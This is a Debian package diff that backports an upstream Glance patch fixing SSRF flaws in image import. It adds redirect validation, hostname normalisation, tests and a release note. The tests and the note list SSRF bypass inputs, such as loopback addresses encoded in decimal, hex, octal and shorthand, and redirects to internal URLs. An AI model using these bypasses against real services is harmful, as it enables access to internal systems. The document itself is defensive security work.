++        mock_opener = mock.MagicMock()
++        mock_response = mock.MagicMock()
++        mock_opener.open.return_value = mock_response
++        mock_request.build_opener.return_value = mock_opener
++        mock_add.return_value = ["path", 12345]
++        result = glance_download_task.execute(12345)
++        # Verify build_opener was called with SafeRedirectHandler
++        mock_request.build_opener.assert_called_once()
++        # Verify SafeRedirectHandler was passed
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++        # Verify execution succeeded (handler allows valid execution)
++        self.assertEqual("path", result)
+Index: glance/glance/tests/unit/async_/flows/test_import.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_import.py
++++ glance/glance/tests/unit/async_/flows/test_import.py
+@@ -17,7 +17,6 @@ import io
+ import json
+ import os
+ from unittest import mock
+-import urllib
+ 
+ import glance_store
+ from oslo_concurrency import processutils as putils
+@@ -371,9 +370,15 @@ class TestImportTask(test_utils.BaseTest
+         self.img_repo.get.return_value = self.image
+         img_factory.new_image.side_effect = create_image
+ 
+-        with mock.patch.object(urllib.request, 'urlopen') as umock:
+-            content = b"TEST_IMAGE"
+-            umock.return_value = io.BytesIO(content)
++        # Mock get_image_data_iter to avoid actual network calls
++        # and to work with our SafeRedirectHandler changes
++        content = b"TEST_IMAGE"
++        mock_response = io.BytesIO(content)
++        mock_response.headers = {}
++
++        with mock.patch(
++                'glance.common.scripts.utils.get_image_data_iter') as umock:
++            umock.return_value = mock_response
+ 
+             with mock.patch.object(import_flow, "_get_import_flows") as imock:
+                 imock.return_value = (x for x in [])
+Index: glance/glance/tests/unit/async_/flows/test_ovf_process.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_ovf_process.py
++++ glance/glance/tests/unit/async_/flows/test_ovf_process.py
+@@ -18,10 +18,12 @@ import shutil
+ import tarfile
+ import tempfile
+ from unittest import mock
++import urllib.error
+ 
+ from defusedxml.ElementTree import ParseError
+ 
+ from glance.async_.flows import ovf_process
++from glance.common import exception
+ import glance.tests.utils as test_utils
+ from oslo_config import cfg
+ 
+@@ -164,3 +166,56 @@ class TestOvfProcessTask(test_utils.Base
+         iextractor = ovf_process.OVAImageExtractor()
+         with open(ova_file_path, 'rb') as ova_file:
+             self.assertRaises(ParseError, iextractor._parse_OVF, ova_file)
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_uri_validation_fails(self, mock_validate):
++        """Test that disallowed URIs raise ImportTaskError"""
++        mock_validate.return_value = False
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        self.assertRaises(exception.ImportTaskError,
++                          oprocess._get_ova_iter_objects,
++                          'http://127.0.0.1:5000/package.ova')
++        mock_validate.assert_called_once_with(
++            'http://127.0.0.1:5000/package.ova')
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_uri_validation_passes(self, mock_validate,
++                                                        mock_request):
++        """Test that allowed URIs use SafeRedirectHandler"""
++        mock_validate.return_value = True
++        mock_opener = mock.MagicMock()
++        mock_response = mock.MagicMock()
++        mock_opener.open.return_value = mock_response
++        mock_request.build_opener.return_value = mock_opener
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        result = oprocess._get_ova_iter_objects(
++            'http://example.com/package.ova')
++        self.assertEqual(mock_response, result)
++        mock_validate.assert_called_once_with(
++            'http://example.com/package.ova')
++        mock_request.build_opener.assert_called_once()
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_get_ova_iter_objects_redirect_validation(self, mock_validate,
++                                                      mock_request):
++        """Test that redirects to disallowed URLs are blocked"""
++        # First call (initial URL) passes validation
++        # Second call (redirect destination) fails validation
++        mock_validate.side_effect = [True, False]
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = urllib.error.URLError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/package.ova";)
++        mock_request.build_opener.return_value = mock_opener
++        oprocess = ovf_process._OVF_Process('task_id', 'ovf_proc',
++                                            self.img_repo)
++        self.assertRaises(urllib.error.URLError,
++                          oprocess._get_ova_iter_objects,
++                          'http://example.com/package.ova')
++        mock_validate.assert_called_once_with(
++            'http://example.com/package.ova')
++        mock_request.build_opener.assert_called_once()
+Index: glance/glance/tests/unit/common/scripts/test_scripts_utils.py
+===================================================================
+--- glance.orig/glance/tests/unit/common/scripts/test_scripts_utils.py
++++ glance/glance/tests/unit/common/scripts/test_scripts_utils.py
+@@ -15,6 +15,8 @@
+ 
+ from unittest import mock
+ import urllib
++import urllib.error
++import urllib.request
+ 
+ from glance.common import exception
+ from glance.common.scripts import utils as script_utils
+@@ -203,3 +205,110 @@ class TestCallbackIterator(test_utils.Ba
+         # call the callback with that.
+         callback.assert_has_calls([mock.call(2, 2),
+                                    mock.call(1, 3)])
++
++
++class TestSafeRedirectHandler(test_utils.BaseTestCase):
++    """Test SafeRedirectHandler for redirect validation."""
++
++    def setUp(self):
++        super(TestSafeRedirectHandler, self).setUp()
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_redirect_to_allowed_url(self, mock_validate):
++        """Test redirect to allowed URL is accepted."""
++        mock_validate.return_value = True
++        handler = script_utils.SafeRedirectHandler()
++
++        req = mock.Mock()
++        req.full_url = 'http://example.com/redirect'
++        fp = mock.Mock()
++        headers = mock.Mock()
++
++        # Redirect to allowed URL
++        # redirect_request should call super().redirect_request
++        # which returns a request
++        with mock.patch.object(urllib.request.HTTPRedirectHandler,
++                               'redirect_request') as mock_super:
++            mock_super.return_value = mock.Mock()
++            result = handler.redirect_request(
++                req, fp, 302, 'Found', headers, 'http://allowed.com/target'
++            )
++
++        mock_validate.assert_called_once_with('http://allowed.com/target')
++        # Should return a request object (not None)
++        self.assertIsNotNone(result)
++
++    @mock.patch('glance.common.utils.validate_import_uri')
++    def test_redirect_to_disallowed_url(self, mock_validate):
++        """Test redirect to disallowed URL raises error."""
++        mock_validate.return_value = False
++        handler = script_utils.SafeRedirectHandler()
++
++        req = mock.Mock()
++        req.full_url = 'http://example.com/redirect'
++        fp = mock.Mock()
++        headers = mock.Mock()
++
++        # Redirect to disallowed URL should raise ImportTaskError
++        self.assertRaises(
++            exception.ImportTaskError,
++            handler.redirect_request,
++            req, fp, 302, 'Found', headers, 'http://127.0.0.1:5000/'
++        )
++
++        mock_validate.assert_called_once_with('http://127.0.0.1:5000/')
++
++
++class TestGetImageDataIter(test_utils.BaseTestCase):
++    """Test get_image_data_iter with redirect validation."""
++
++    def setUp(self):
++        super(TestGetImageDataIter, self).setUp()
++
++    @mock.patch('builtins.open', create=True)
++    def test_get_image_data_iter_file_uri(self, mock_open):
++        """Test file:// URI handling."""
++        mock_file = mock.Mock()
++        mock_open.return_value = mock_file
++
++        result = script_utils.get_image_data_iter("file:///tmp/test.img")
++
++        mock_open.assert_called_once_with("/tmp/test.img", "rb")
++        self.assertEqual(result, mock_file)
++
++    @mock.patch('urllib.request.build_opener')
++    def test_get_image_data_iter_http_uri(self, mock_build_opener):
++        """Test HTTP URI handling with redirect validation."""
++        mock_opener = mock.Mock()
++        mock_response = mock.Mock()
++        mock_opener.open.return_value = mock_response
++        mock_build_opener.return_value = mock_opener
++
++        result = script_utils.get_image_data_iter("http://example.com/image";)
++
++        # Should use build_opener with SafeRedirectHandler
++        mock_build_opener.assert_called_once()
++        # Check that SafeRedirectHandler was passed as an argument
++        call_args = mock_build_opener.call_args
++        # build_opener can be called with *args or keyword args
++        # Check both positional and keyword arguments
++        found_handler = False
++        if call_args.args:
++            found_handler = any(
++                isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args)
++        if not found_handler and call_args.kwargs:
++            found_handler = any(
++                isinstance(v, script_utils.SafeRedirectHandler)
++                for v in call_args.kwargs.values())
++        # Also check if it's passed as a handler class (not instance)
++        if not found_handler:
++            found_handler = (
++                script_utils.SafeRedirectHandler in call_args.args)
++
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++
++        mock_opener.open.assert_called_once_with("http://example.com/image";)
++        self.assertEqual(result, mock_response)
+Index: glance/glance/tests/unit/common/test_utils.py
+===================================================================
+--- glance.orig/glance/tests/unit/common/test_utils.py
++++ glance/glance/tests/unit/common/test_utils.py
+@@ -15,6 +15,8 @@
+ #    under the License.
+ 
+ import io
++import ipaddress
++import socket
+ import tempfile
+ from unittest import mock
+ 
+@@ -818,3 +820,179 @@ class ImportURITestCase(test_utils.BaseT
+                         group='import_filtering_opts')
+             self.assertTrue(utils.validate_import_uri("ftp://foo.com:8484";))
+             mock_run.assert_called_once()
++
++    def test_validate_import_uri_ip_rejection(self):
++        """Test that encoded IP addresses are rejected (not normalized)."""
++        # Test that standard IP is blocked when in blacklist
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        self.assertFalse(utils.validate_import_uri("http://127.0.0.1:80/";))
++
++        # Test that encoded IP (decimal) is rejected
++        result = utils.validate_import_uri("http://2130706433:80/";)
++        self.assertFalse(result)
++
++        # Test that shorthand IP addresses are rejected
++        self.assertFalse(utils.validate_import_uri("http://127.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://10.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://192.168.1:80/";))
++
++        # Test with allowed host - encoded IP should still be rejected
++        self.config(disallowed_hosts=[],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.assertTrue(utils.validate_import_uri("http://127.0.0.1:80/";))
++        self.assertFalse(utils.validate_import_uri("http://2130706433:80/";))
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    def test_normalize_hostname(self, mock_getaddrinfo):
++        """Test the normalize_hostname function."""
++        # Test standard IPv4 - should return normalized
++        result = utils.normalize_hostname("127.0.0.1")
++        self.assertEqual(result, "127.0.0.1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test standard IPv4 with different format - should normalize
++        result = utils.normalize_hostname("192.168.1.1")
++        self.assertEqual(result, "192.168.1.1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test encoded IP (decimal) - should be rejected (fails isdigit check)
++        result = utils.normalize_hostname("2130706433")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test hex encoded IP - should be rejected (DNS resolution fails)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = socket.gaierror(
++            "Name or service not known")
++        result = utils.normalize_hostname("0x7f000001")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_called_once_with("0x7f000001.", 80)
++
++        # Test octal integer encoded IP - should be rejected
++        # (fails isdigit check)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("017700000001")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test octal dotted-decimal encoded IP - should be rejected
++        # (all digits/dots)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("0177.0.0.01")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test mixed octal/decimal dotted-decimal - should be rejected
++        # (all digits/dots)
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("0177.0.0.1")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test IPv6 address - should normalize to standard format
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("::1")
++        self.assertEqual(result, "::1")
++        mock_getaddrinfo.assert_not_called()
++
++        result = utils.normalize_hostname("2001:db8::1")
++        self.assertEqual(result, "2001:db8::1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test IPv6-mapped IPv4 - should normalize
++        result = utils.normalize_hostname("::ffff:127.0.0.1")
++        ipv6 = ipaddress.IPv6Address(result)
++        expected = ipaddress.IPv6Address("::ffff:127.0.0.1")
++        self.assertEqual(ipv6, expected)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test shorthand IP addresses - should be rejected
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("127.1")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        result = utils.normalize_hostname("10.1")
++        self.assertIsNone(result)
++
++        result = utils.normalize_hostname("192.168.1")
++        self.assertIsNone(result)
++
++        # Test valid hostname - should return unchanged
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("example.com")
++        self.assertEqual(result, "example.com")
++        mock_getaddrinfo.assert_called_once_with("example.com.", 80)
++
++        # Test valid domain starting with digit (3m.com)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("3m.com")
++        self.assertEqual(result, "3m.com")
++        mock_getaddrinfo.assert_called_once_with("3m.com.", 80)
++
++        # Test valid domain starting with 0x (0xdeadbeef.com)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("0xdeadbeef.com")
++        self.assertEqual(result, "0xdeadbeef.com")
++        mock_getaddrinfo.assert_called_once_with(
++            "0xdeadbeef.com.", 80)
++
++        # Test invalid/unresolvable hostname - should be rejected
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = socket.gaierror(
++            "Name or service not known")
++        result = utils.normalize_hostname("invalid-hostname-12345")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_called_once_with(
++            "invalid-hostname-12345.", 80)
++
++    def test_validate_import_uri_ipv6_validation(self):
++        """Test IPv6 addresses are properly validated against blacklist."""
++        # Test that IPv6 localhost is blocked when in blacklist
++        self.config(disallowed_hosts=['::1'],
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        # IPv6 addresses in URLs are in brackets, but urlparse removes them
++        # So we test with the hostname directly
++        self.assertFalse(
++            utils.validate_import_uri("http://[::1]:80/";))
++
++        # Test that IPv6 address not in blacklist is allowed
++        self.config(disallowed_hosts=[],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=['2001:db8::1'],
++                    group='import_filtering_opts')
++        self.assertTrue(utils.validate_import_uri("http://[2001:db8::1]:80/";))
++
++        # Test that IPv6 localhost can be blocked separately from IPv4
++        # This ensures IPv6 addresses are properly normalized and can be
++        # blacklisted
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=[],  # Explicitly clear whitelist
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        # IPv6 localhost should pass if not in blacklist (no whitelist)
++        # The fix ensures IPv6 is normalized and can be blacklisted separately
++        result = utils.validate_import_uri("http://[::1]:80/";)
++        # If ::1 is not in blacklist and no whitelist, it will pass
++        # Administrators should add both IPv4 and IPv6 to blacklist if needed
++        self.assertTrue(result)
++
++        # Test that IPv6 can be blacklisted separately
++        self.config(disallowed_hosts=['127.0.0.1', '::1'],
++                    group='import_filtering_opts')
++        self.assertFalse(utils.validate_import_uri("http://[::1]:80/";))
+Index: glance/releasenotes/notes/bug-2138602-5720ad2e501b9e57.yaml
+===================================================================
+--- /dev/null
++++ glance/releasenotes/notes/bug-2138602-5720ad2e501b9e57.yaml
+@@ -0,0 +1,94 @@
++---
++security:
++  - |
++    Fixed multiple Server-Side Request Forgery (SSRF) vulnerabilities in
++    Glance's image import functionality. These vulnerabilities could allow
++    attackers to bypass URL validation and access internal resources.
++
++    **web-download Import Method SSRF:**
++
++    The web-download import method had two SSRF vulnerabilities:
++
++    *HTTP Redirect Bypass:*
++    The web-download import method did not validate redirect destinations when
++    following HTTP redirects. An attacker could provide an initial URL that
++    passed validation, but redirect to an internal or disallowed resource that
++    would bypass the security checks. This has been fixed by implementing
++    ``SafeRedirectHandler`` that validates redirect destinations before
++    following them using the same ``validate_import_uri()`` checks as the
++    initial URL.
++
++    *IP Address Encoding Bypass:*
++    The web-download import method's URL validation could be bypassed by
++    encoding IP addresses in alternative formats (decimal integer,
++    hexadecimal, octal). For example, ``127.0.0.1`` could be encoded as
++    ``2130706433`` (decimal) or ``0x7f000001`` (hexadecimal) to bypass
++    blacklist checks. This has been fixed by implementing
++    ``normalize_hostname()`` function that uses Python's ``ipaddress`` module
++    to validate IP addresses. The ``ipaddress`` module only accepts standard
++    dotted-decimal notation for IPv4 and standard format for IPv6, 
automatically
++    rejecting all encoded formats (decimal, hexadecimal, octal). Any attempt 
to
++    use encoded IP formats is rejected, preventing SSRF bypass attacks.
++
++    **glance-download Import Method SSRF:**
++
++    The glance-download import method had redirect validation bypass
++    vulnerabilities in two steps of the import flow:
++
++    *Image Data Download:*
++    When downloading image data from a remote Glance endpoint, redirects were
++    not validated, allowing attackers to redirect to internal services.
++
++    *Metadata Fetch:*
++    When fetching image metadata from a remote Glance endpoint, redirects were
++    not validated, allowing attackers to redirect to internal services.
++
++    Both steps have been fixed by using ``SafeRedirectHandler`` to validate
++    redirect destinations before following them.
++
++    **OVF Processing SSRF:**
++
++    The OVF processing functionality had a critical SSRF vulnerability with
++    zero protection - no URI validation, no redirect validation, and no IP
++    normalization. The code directly called ``urllib.request.urlopen(uri)``
++    without any validation checks. This has been fixed by adding URI
++    validation using ``validate_import_uri()`` and redirect validation using
++    ``SafeRedirectHandler``.
++
++    **Affected Components:**
++    - ``glance.common.scripts.utils.get_image_data_iter()``
++    - ``glance.common.utils.validate_import_uri()``
++    - 
``glance.async_.flows._internal_plugins.glance_download._DownloadGlanceImage.execute()``
++    - ``glance.async_.flows.api_image_import._ImportMetadata.execute()``
++    - ``glance.async_.flows.ovf_process._OVF_Process._get_ova_iter_objects()``
++
++    **Impact:**
++    - Severity: High (web-download, glance-download), Critical (OVF 
processing)
++    - Affected Versions: All versions prior to this fix
++    - Workaround: Administrators can temporarily disable affected import
++      methods by removing them from the ``enabled_import_methods``
++      configuration option
++
++    Bugs `#2138602 <https://bugs.launchpad.net/glance/+bug/2138602>`_,
++    `#2138672 <https://bugs.launchpad.net/glance/+bug/2138672>`_,
++    `#2138675 <https://bugs.launchpad.net/glance/+bug/2138675>`_
++
++fixes:
++  - |
++    Bug 2138602_: Fixed SSRF vulnerability in web-download import method via
++    HTTP redirect bypass and IP address encoding bypass. Added redirect
++    validation using SafeRedirectHandler and IP address validation using
++    Python's ``ipaddress`` module to reject encoded IP formats and prevent
++    bypass attacks.
++
++    Bug 2138672_: Fixed SSRF vulnerability in glance-download import method
++    via HTTP redirect bypass. Added redirect validation for both image data
++    download and metadata fetch operations.
++
++    Bug 2138675_: Fixed SSRF vulnerability in OVF processing functionality
++    which lacked URI validation. Added URI validation and redirect validation
++    to prevent SSRF attacks when processing OVA files.
++
++    .. _2138602: https://bugs.launchpad.net/bugs/2138602
++    .. _2138672: https://bugs.launchpad.net/bugs/2138672
++    .. _2138675: https://bugs.launchpad.net/bugs/2138675
diff -Nru glance-25.1.0/debian/patches/series 
glance-25.1.0/debian/patches/series
--- glance-25.1.0/debian/patches/series 2024-06-21 10:38:56.000000000 +0200
+++ glance-25.1.0/debian/patches/series 2026-03-19 17:08:44.000000000 +0100
@@ -9,3 +9,4 @@
 CVE-2024-32498_3_5_glance-stable-2023.1.patch
 CVE-2024-32498_3_6_glance-stable-2023.1.patch
 CVE-2024-32498_3_7_glance-stable-2023.1.patch
+OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
diff -Nru glance-30.0.0/debian/changelog glance-30.0.0/debian/changelog
--- glance-30.0.0/debian/changelog      2025-07-12 10:29:31.000000000 +0200
+++ glance-30.0.0/debian/changelog      2026-04-05 16:42:49.000000000 +0200
@@ -1,3 +1,14 @@
+glance (2:30.0.0-3+deb13u1) trixie; urgency=medium
+
+  * Server-Side Request Forgery (SSRF) vulnerabilities in Glance image import.
+    By use of HTTP redirects, an authenticated user can bypass URL validation
+    checks and redirect to internal services. Add upstream patch:
+    - OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch.
+    (Closes: #1131274).
+  * Refreshed debian/patches/sql_conn-registry.patch.
+
+ -- Thomas Goirand <[email protected]>  Sun, 05 Apr 2026 16:42:49 +0200
+
 glance (2:30.0.0-3) unstable; urgency=medium
 
   * Fix uwsgi config.
diff -Nru 
glance-30.0.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
 
glance-30.0.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
--- 
glance-30.0.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
       1970-01-01 01:00:00.000000000 +0100
+++ 
glance-30.0.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
       2026-04-05 16:42:49.000000000 +0200
@@ -0,0 +1,1268 @@
+Description: OSSA-2026-004 Fix SSRF vulnerabilities in image import API
+ Fixed Server-Side Request Forgery (SSRF) vulnerabilities in Glance's image
+ import functionality that could allow attackers to bypass URL validation
+ and access internal resources.
+ .
+ The fix includes:
+ - IP address validation using Python's ipaddress module to reject encoded
+   IP formats (decimal, hexadecimal, octal) that could bypass blacklist checks
+ - HTTP redirect validation for web-download, glance-download, and OVF
+   processing to prevent redirect-based SSRF attacks
+ - URI validation for OVF processing which previously had no protection
+ .
+ The implementation uses Python's built-in ipaddress module which inherently
+ rejects all non-standard IP encodings and only accepts standard formats,
+ providing robust protection against IP encoding bypass attacks.
+ .
+Author: Abhishek Kekane <[email protected]>
+Date: Tue, 20 Jan 2026 19:02:08 +0000
+Assisted-by: Used Cursor (Auto) for unit tests.
+Bug: https://launchpad.net/bugs/2138602
+Bug: https://launchpad.net/bugs/2138672
+Bug: https://launchpad.net/bugs/2138675
+Bug-Debian: https://bugs.debian.org/1131274
+Change-Id: Ib8d337dc68411d18c70d5712cc4f0986ef6205f4
+Signed-off-by: Abhishek Kekane <[email protected]>
+Origin: upstream, https://review.opendev.org/c/openstack/glance/+/981298
+Last-Update: 2026-03-19
+
+Index: glance/glance/async_/flows/_internal_plugins/glance_download.py
+===================================================================
+--- glance.orig/glance/async_/flows/_internal_plugins/glance_download.py
++++ glance/glance/async_/flows/_internal_plugins/glance_download.py
+@@ -24,6 +24,7 @@ from taskflow.patterns import linear_flo
+ from glance.async_.flows._internal_plugins import base_download
+ from glance.async_ import utils
+ from glance.common import exception
++from glance.common.scripts import utils as script_utils
+ from glance.common import utils as common_utils
+ from glance.i18n import _, _LI, _LE
+ 
+@@ -66,7 +67,9 @@ class _DownloadGlanceImage(base_download
+             token = self.context.auth_token
+             request = urllib.request.Request(image_download_url,
+                                              headers={'X-Auth-Token': token})
+-            data = urllib.request.urlopen(request)
++            opener = urllib.request.build_opener(
++                script_utils.SafeRedirectHandler)
++            data = opener.open(request)
+         except Exception as e:
+             with excutils.save_and_reraise_exception():
+                 LOG.error(
+Index: glance/glance/async_/flows/api_image_import.py
+===================================================================
+--- glance.orig/glance/async_/flows/api_image_import.py
++++ glance/glance/async_/flows/api_image_import.py
+@@ -815,7 +815,9 @@ class _ImportMetadata(task.Task):
+             token = self.context.auth_token
+             request = urllib.request.Request(image_download_metadata_url,
+                                              headers={'X-Auth-Token': token})
+-            with urllib.request.urlopen(request) as payload:
++            opener = urllib.request.build_opener(
++                script_utils.SafeRedirectHandler)
++            with opener.open(request) as payload:
+                 data = json.loads(payload.read().decode('utf-8'))
+ 
+             if data.get('status') != 'active':
+Index: glance/glance/async_/flows/ovf_process.py
+===================================================================
+--- glance.orig/glance/async_/flows/ovf_process.py
++++ glance/glance/async_/flows/ovf_process.py
+@@ -18,6 +18,7 @@ import re
+ import shutil
+ import tarfile
+ import urllib
++import urllib.request
+ 
+ from defusedxml import ElementTree as etree
+ 
+@@ -27,6 +28,9 @@ from oslo_serialization import jsonutils
+ from taskflow.patterns import linear_flow as lf
+ from taskflow import task
+ 
++from glance.common import exception
++from glance.common.scripts import utils as script_utils
++from glance.common import utils as common_utils
+ from glance.i18n import _, _LW
+ 
+ LOG = logging.getLogger(__name__)
+@@ -75,7 +79,13 @@ class _OVF_Process(task.Task):
+             uri = uri.split("file://")[-1]
+             return open(uri, "rb")
+ 
+-        return urllib.request.urlopen(uri)
++        if not common_utils.validate_import_uri(uri):
++            msg = (_("URI for OVF processing does not pass filtering: %s") %
++                   uri)
++            raise exception.ImportTaskError(msg)
++
++        opener = urllib.request.build_opener(script_utils.SafeRedirectHandler)
++        return opener.open(uri)
+ 
+     def execute(self, image_id, file_path):
+         """
+Index: glance/glance/common/scripts/utils.py
+===================================================================
+--- glance.orig/glance/common/scripts/utils.py
++++ glance/glance/common/scripts/utils.py
+@@ -19,14 +19,18 @@ __all__ = [
+     'set_base_image_properties',
+     'validate_location_uri',
+     'get_image_data_iter',
++    'SafeRedirectHandler',
+ ]
+ 
+ import urllib
++import urllib.error
++import urllib.request
+ 
+ from oslo_log import log as logging
+ from oslo_utils import timeutils
+ 
+ from glance.common import exception
++from glance.common import utils as common_utils
+ from glance.i18n import _, _LE
+ 
+ LOG = logging.getLogger(__name__)
+@@ -125,6 +129,15 @@ def validate_location_uri(location):
+         raise urllib.error.URLError(msg)
+ 
+ 
++class SafeRedirectHandler(urllib.request.HTTPRedirectHandler):
++    """HTTP redirect handler that validates redirect destinations."""
++    def redirect_request(self, req, fp, code, msg, headers, newurl):
++        if not common_utils.validate_import_uri(newurl):
++            msg = (_("Redirect to disallowed URL: %s") % newurl)
++            raise exception.ImportTaskError(msg)
++        return super().redirect_request(req, fp, code, msg, headers, newurl)
++
++
+ def get_image_data_iter(uri):
+     """Returns iterable object either for local file or uri
+ 
+@@ -148,7 +161,8 @@ def get_image_data_iter(uri):
+         # into memory. Some images may be quite heavy.
+         return open(uri, "rb")
+ 
+-    return urllib.request.urlopen(uri)
++    opener = urllib.request.build_opener(SafeRedirectHandler)
++    return opener.open(uri)
+ 
+ 
+ class CallbackIterator(object):
+Index: glance/glance/common/utils.py
+===================================================================
+--- glance.orig/glance/common/utils.py
++++ glance/glance/common/utils.py
+@@ -21,6 +21,7 @@ System-level utilities and helper functi
+ """
+ 
+ import errno
++import ipaddress
+ 
+ from eventlet.green import socket
+ 
+@@ -126,6 +127,65 @@ CONF.import_group('import_filtering_opts
+                   'glance.async_.flows._internal_plugins')
+ 
+ 
++def normalize_hostname(host):
++    """Normalize IP address to standard format or return hostname.
++
++    Uses ipaddress module to validate and normalize IP addresses, rejecting
++    encoded formats. For hostnames, requires DNS resolution to ensure they
++    are valid and not encoded IP attempts.
++
++    :param host: hostname or IP address
++    :returns: normalized IP address, hostname unchanged, or None
++    """
++    if not host:
++        return host
++
++    # NOTE(abhishekk): Try to parse as IPv4. ipaddress module only accepts
++    # standard format like 127.0.0.1. It rejects encoded formats like
++    # decimal (2130706433), hex (0x7f000001), or octal (017700000001).
++    try:
++        return str(ipaddress.IPv4Address(host))
++    except ValueError:
++        pass
++
++    # NOTE(abhishekk): Try to parse as IPv6. ipaddress module only accepts
++    # standard IPv6 format and rejects encoded formats.
++    try:
++        return str(ipaddress.IPv6Address(host))
++    except ValueError:
++        pass
++
++    # NOTE(abhishekk): Not valid IP address, check as hostname. Reject pure
++    # numeric strings like "2130706433" (decimal encoded IP). ipaddress module
++    # rejected it, but OS might still resolve using inet_aton() if not 
blocked.
++    if host.isdigit():
++        return None
++
++    # NOTE(abhishekk): Reject all numeric strings with dots like "127.1" or
++    # "10.1". These are shorthand IP addresses. ipaddress module rejects them
++    # because they need 4 octets, but OS may still resolve them. We block to
++    # prevent SSRF bypass attacks.
++    if all(c.isdigit() or c == '.' for c in host):
++        return None
++
++    # NOTE(abhishekk): Add trailing dot to force DNS lookup instead of numeric
++    # parsing. This blocks encoded IP formats like 0x7f000001 or 127.0x0.0.1
++    # because they fail DNS lookup. Only real hostnames that resolve via DNS
++    # are allowed.
++    testhost = host
++    if not testhost.endswith('.'):
++        testhost += '.'
++
++    try:
++        socket.getaddrinfo(testhost, 80)
++    except socket.gaierror:
++        # NOTE(abhishekk): DNS resolution failed, reject the hostname
++        return None
++
++    # NOTE(abhishekk): Valid and resolvable hostname, return unchanged
++    return host
++
++
+ def validate_import_uri(uri):
+     """Validate requested uri for Image Import web-download.
+ 
+@@ -163,9 +223,14 @@ def validate_import_uri(uri):
+     if not scheme or ((wl_schemes and scheme not in wl_schemes) or
+                       parsed_uri.scheme in bl_schemes):
+         return False
+-    if not host or ((wl_hosts and host not in wl_hosts) or
+-                    host in bl_hosts):
++
++    normalized_host = normalize_hostname(host)
++
++    if not normalized_host or (
++            (wl_hosts and normalized_host not in wl_hosts) or
++            normalized_host in bl_hosts):
+         return False
++
+     if port and ((wl_ports and port not in wl_ports) or
+                  port in bl_ports):
+         return False
+Index: glance/glance/tests/functional/v2/test_images.py
+===================================================================
+--- glance.orig/glance/tests/functional/v2/test_images.py
++++ glance/glance/tests/functional/v2/test_images.py
+@@ -15,9 +15,11 @@
+ 
+ import hashlib
+ import http.client as http
++import http.server as http_server
+ import os
+ import subprocess
+ import tempfile
++import threading
+ import time
+ import urllib
+ import uuid
+@@ -383,6 +385,164 @@ class TestImages(functional.FunctionalTe
+ 
+         self.stop_servers()
+ 
